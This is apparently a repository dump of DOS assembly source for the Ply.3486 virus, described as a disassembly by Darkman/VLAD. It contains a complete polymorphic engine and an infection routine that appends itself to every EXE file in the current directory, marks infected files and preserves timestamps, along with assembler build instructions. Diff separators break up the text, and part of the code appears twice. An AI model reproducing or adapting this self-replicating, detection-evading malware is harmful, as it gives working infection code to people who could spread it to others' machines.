push cx ; Save CX at stack
|
||||
nop
|
||||
nop
|
||||
push si ; Save SI at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
cmp al,00h ; Prepend a NOP to the opcode?
|
||||
nop
|
||||
jne test_append ; Not equal? Jump to test_append
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
je dont_poly ; Equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov al,[si+02h] ; AL = third byte of three-byte block
|
||||
cmp al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
jne dont_poly ; Not equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx+01h],ax ; Store first word of three-bytes ...
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8 ; Equal? Jump to dec_imm8
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne prepend_nop ; Not equal? Jump to prepend_nop
|
||||
nop
|
||||
dec_imm8:
|
||||
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
|
||||
prepend_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx],al ; Prepend a NOP to the opcode
|
||||
nop
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly:
|
||||
jmp test_loop
|
||||
test_append:
|
||||
cmp al,01h ; Append a NOP to the opcode?
|
||||
nop
|
||||
jne test_create ; Not equal? Jump to test_create
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne dont_poly_ ; Not equal? Jump to dont_poly_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = second word of three-bytes ...
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],ax ; Store second word of three-bytes...
|
||||
nop
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8_ ; Equal? Jump to dec_imm8_
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne append_nop ; Not equal? Jump to append_nop
|
||||
nop
|
||||
dec_imm8_:
|
||||
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
|
||||
append_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx+02h],al ; Append a NOP to the opcode
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly_:
|
||||
jmp test_loop
|
||||
test_create:
|
||||
cmp al,02h ; Create a CALL imm16 to the opcode?
|
||||
nop
|
||||
jne delete_call ; Not equal? Jump to delete_call
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_call ; Not equal? Jump to create_call
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_call:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,50h ; PUSH reg16/POP reg16?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
stosb ; Store RET
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a CALL imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
call_exit:
|
||||
jmp test_loop
|
||||
delete_call:
|
||||
cmp al,03h ; Delete previously created CALL i...
|
||||
nop
|
||||
jne test_create_ ; Not equal? Jump to test_create_
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
|
||||
nop
|
||||
jne call_exit_ ; Not equal? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb call_exit_ ; Below? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
call_exit_:
|
||||
jmp test_loop
|
||||
test_create_:
|
||||
cmp al,04h ; Create a JMP imm16 to the opcode?
|
||||
nop
|
||||
jne delete_jmp ; Not equal? Jump to delete_jmp
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_jmp ; Not equal? Jump to create_jmp
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_jmp:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
stosb ; Store JMP imm16
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
neg ax ; Negate AX
|
||||
nop
|
||||
sub ax,02h ; Subtract two from 16-bit immediate
|
||||
stosw ; Store 16-bit immediate
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a JMP imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
jmp_exit:
|
||||
jmp test_loop
|
||||
nop
|
||||
delete_jmp:
|
||||
cmp al,05h ; Delete previously created JMP im...
|
||||
nop
|
||||
jne test_loop ; Not equal? Jump to test_loop
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb jmp_exit_ ; Below? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
jmp_exit_:
|
||||
jmp test_loop
|
||||
nop
|
||||
test_loop:
|
||||
pop si ; Load SI from stack
|
||||
nop
|
||||
nop
|
||||
pop cx ; Load CX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,03h ; AX = size of block
|
||||
add si,ax ; SI = offset of next three-byte b...
|
||||
nop
|
||||
|
||||
dec cx ; Decrease CX
|
||||
nop
|
||||
nop
|
||||
jz poly_exit ; Zero? Jump to poly_exit
|
||||
nop
|
||||
|
||||
jmp poly_loop
|
||||
poly_exit:
|
||||
jmp prepare_exit
|
||||
nop
|
||||
|
||||
get_poly_off proc near ; Get random offset of polymorphic...
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov ah,al ; AH = " " "
|
||||
nop
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov di,ax ; DI = 16-bit random number
|
||||
nop
|
||||
mov ax,(poly_end-poly_begin)/03h
|
||||
get_rnd_num:
|
||||
sub di,ax ; Subtract number of polymorphic b...
|
||||
nop
|
||||
cmp di,ax ; Too large a 16-bit random number?
|
||||
nop
|
||||
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = 16-bit random number within...
|
||||
nop
|
||||
|
||||
add di,ax ; Add number of polymorphic blocks
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
|
||||
lea ax,poly_blocks ; AX = offset of poly_blocks
|
||||
add di,ax ; Add offset of poly_blocks to ran...
|
||||
nop
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
cmp [di],ax ; Offset already in use?
|
||||
nop
|
||||
jne get_poly_off ; Not equal? Jump to get_poly_off
|
||||
nop
|
||||
|
||||
ret ; Return!
|
||||
nop
|
||||
nop
|
||||
endp
|
||||
prepare_exit:
|
||||
lea si,file_header ; SI = offset of file_header
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
lea di,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov ax,[si+14h] ; AX = instruction pointer
|
||||
stosw ; Store instruction pointer
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+16h] ; AX = code segment
|
||||
stosw ; Store code segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+0eh] ; AX = stack segment
|
||||
stosw ; Store stack segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+10h] ; AX = stack pointer
|
||||
stosw ; Store stack pointer
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
lea dx,dta ; DX = offset of dta
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
mov di,dx ; DI = offset of dta
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,4eh ; Find first matching file
|
||||
nop
|
||||
mov cx,0000000000000111b
|
||||
lea dx,file_specifi ; DX = offset of file_specifi
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
find_next:
|
||||
int 21h
|
||||
nop
|
||||
jnc open_file ; No error? Jump to open_file
|
||||
nop
|
||||
|
||||
jmp virus_exit
|
||||
open_file:
|
||||
mov ax,3d00h ; Open file (read)
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
nop
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
mov cx,1ah ; Read twenty-six bytes
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,'ZM' ; EXE signature
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
|
||||
xchg ah,al ; Exchange EXE signature
|
||||
nop
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
jmp_find_nxt:
|
||||
mov ah,4fh ; Find next matching file
|
||||
nop
|
||||
|
||||
jmp find_next
|
||||
nop
|
||||
examine_file:
|
||||
mov ax,2020h
|
||||
cmp [si+12h],ax ; Already infected?
|
||||
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
|
||||
nop
|
||||
|
||||
mov ax,4301h ; Set file attributes
|
||||
xor cx,cx ; CX = new file attributes
|
||||
nop
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,3d02h ; Open file (read/write)
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4202h ; Set current file position (EOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
nop
|
||||
mov cx,(code_end-code_begin)
|
||||
lea dx,code_begin ; DX = offset of code_begin
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,[si+08h] ; AX = header size in paragraphs
|
||||
mov cl,04h ; Multiply by paragraphs
|
||||
nop
|
||||
shl ax,cl ; AX = header size
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
xchg ax,bx ; BX = header size
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,[di+1ah] ; AX = low-order word of filesize
|
||||
mov dx,[di+1ch] ; DX = high-order word of filesize
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
push dx ; Save DX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
sub ax,bx ; Subtract header size from filesize
|
||||
nop
|
||||
sbb dx,00h ; Convert to 32-bit
|
||||
mov cx,10h
|
||||
div cx ; Divide by paragraphs
|
||||
nop
|
||||
mov [si+14h],dx ; Store instruction pointer
|
||||
mov [si+16h],ax ; Store code segment
|
||||
|
||||
lea bx,delta_offset ; BX = offset of delta_offset
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],dx ; Store delta offset
|
||||
nop
|
||||
|
||||
inc ax ; Increase AX
|
||||
nop
|
||||
nop
|
||||
mov [si+0eh],ax ; Store stack segment
|
||||
|
||||
mov ax,(code_end-code_begin+100h)
|
||||
add dx,ax ; DX = stack pointer
|
||||
nop
|
||||
mov [si+10h],dx ; Store stack pointer
|
||||
|
||||
mov ax,2020h ; AX = infection mark
|
||||
mov [si+12h],ax ; Store infection mark
|
||||
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
add ax,(code_end-code_begin)
|
||||
adc dx,00h ; Convert to 32-bit
|
||||
|
||||
mov cl,09h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
shr ax,cl ; Multiply by pages
|
||||
nop
|
||||
ror dx,cl ; " " "
|
||||
nop
|
||||
stc ; Set carry flag
|
||||
nop
|
||||
nop
|
||||
adc dx,ax ; DX = total number of 512-bytes p...
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
and ah,00000001b
|
||||
mov [si+04h],dx ; Store totalt number of 512-bytes...
|
||||
mov [si+02h],ax ; Number of bytes in last 512-byte...
|
||||
pop bx ; Load BX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4201h ; Set current file position (CFP)
|
||||
mov cx,-01h
|
||||
mov dx,-(code_end-delta_offset)
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
nop
|
||||
mov cx,02h ; Write two bytes
|
||||
lea dx,delta_offset ; DX = offset of delta_offset
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,4200h ; Set current file position (SOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
nop
|
||||
mov cx,1ah ; Write twenty-six bytes
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,5701h ; Set file's date and time
|
||||
mov cx,[di+16h] ; CX = file time
|
||||
mov dx,[di+18h] ; DX = file date
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,4301h ; Set file attributes
|
||||
mov ch,00h ; Zero CH
|
||||
nop
|
||||
mov cl,[di+15h] ; CL = file attribute
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,4fh ; Find next matching file
|
||||
nop
|
||||
|
||||
jmp find_next
|
||||
virus_exit:
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov es,bx ; ES = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov ax,bx ; AX = " " " " " "
|
||||
nop
|
||||
add ax,10h ; AX = segment of beginning of code
|
||||
|
||||
lea si,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
add [si+02h],ax ; Add segment of beginning of code...
|
||||
add ax,[si+04h] ; Add original stack segment to se...
|
||||
|
||||
cli ; Clear interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
poly_end:
|
||||
mov sp,[si+06h] ; SP = stack pointer
|
||||
mov ss,ax ; SS = stack segment
|
||||
sti ; Set interrupt-enable flag
|
||||
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
|
||||
db 0eah ; JMP imm32 (opcode 0eah)
|
||||
instruct_ptr dw ? ; Instruction pointer
|
||||
code_seg dw ? ; Code segment
|
||||
|
||||
stack_seg dw ? ; Stack segment
|
||||
stack_ptr dw ? ; Stack pointer
|
||||
|
||||
db 00h
|
||||
file_specifi db '????????.EXE',00h ; File specification
|
||||
db 00h,00h
|
||||
file_header dw 0ah dup(?),00h,0fff0h,?
|
||||
db 00h
|
||||
poly_buffer db 03h dup(?) ; Polymorphic buffer
|
||||
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
|
||||
code_end:
|
||||
dta:
|
||||
db 15h dup(?) ; Used by DOS for find next-process
|
||||
file_attr db ? ; File attribute
|
||||
file_time dw ? ; File time
|
||||
file_date dw ? ; File date
|
||||
filesize dd ? ; Filesize
|
||||
filename db 0dh dup(?) ; Filename
|
||||
data_end:
|
||||
|
||||
end code_begin
|
|
@ -0,0 +1,850 @@
|
|||
comment *
|
||||
Ply.3486
|
||||
Disassembly by
|
||||
Darkman/VLAD
|
||||
|
||||
Ply.3486 is a 3486 bytes parasitic direct action EXE virus. Infects every
|
||||
file in current directory, when executed, by appending the virus to the
|
||||
infected file. Ply.3486 has anti-heuristic techniques and is polymorphic in
|
||||
file using its internal polymorphic engine.
|
||||
|
||||
To compile Ply.3486 with Turbo Assembler v 4.0 type:
|
||||
TASM /m PLY_3486.ASM
|
||||
TLINK /t /x PLY_3486.OBJ
|
||||
*
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h ; Origin of Ply.3486
|
||||
|
||||
code_begin:
|
||||
delta_offset equ $+01h ; Delta offset
|
||||
mov bp,100h ; BP = delta offset
|
||||
poly_begin:
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,100h ; AX = offset of beginning of code
|
||||
sub bp,ax ; Subtract offset of beginning of ...
|
||||
nop
|
||||
|
||||
sti ; Set interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
cld ; Clear direction flag
|
||||
nop
|
||||
nop
|
||||
|
||||
lea si,poly_begin ; SI = offset of poly_begin
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
mov cx,(poly_end-poly_begin)/03h
|
||||
poly_loop:
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
and al,00000111b ; AL = random number between zero ...
|
||||
nop
|
||||
|
||||
push cx ; Save CX at stack
|
||||
nop
|
||||
nop
|
||||
push si ; Save SI at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
cmp al,00h ; Prepend a NOP to the opcode?
|
||||
nop
|
||||
jne test_append ; Not equal? Jump to test_append
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
je dont_poly ; Equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov al,[si+02h] ; AL = third byte of three-byte block
|
||||
cmp al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
jne dont_poly ; Not equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx+01h],ax ; Store first word of three-bytes ...
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8 ; Equal? Jump to dec_imm8
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne prepend_nop ; Not equal? Jump to prepend_nop
|
||||
nop
|
||||
dec_imm8:
|
||||
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
|
||||
prepend_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx],al ; Prepend a NOP to the opcode
|
||||
nop
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly:
|
||||
jmp test_loop
|
||||
test_append:
|
||||
cmp al,01h ; Append a NOP to the opcode?
|
||||
nop
|
||||
jne test_create ; Not equal? Jump to test_create
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne dont_poly_ ; Not equal? Jump to dont_poly_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = second word of three-bytes ...
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],ax ; Store second word of three-bytes...
|
||||
nop
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8_ ; Equal? Jump to dec_imm8_
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne append_nop ; Not equal? Jump to append_nop
|
||||
nop
|
||||
dec_imm8_:
|
||||
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
|
||||
append_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx+02h],al ; Append a NOP to the opcode
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly_:
|
||||
jmp test_loop
|
||||
test_create:
|
||||
cmp al,02h ; Create a CALL imm16 to the opcode?
|
||||
nop
|
||||
jne delete_call ; Not equal? Jump to delete_call
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_call ; Not equal? Jump to create_call
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_call:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0c3h ; RET (opcode 0c3h)
|
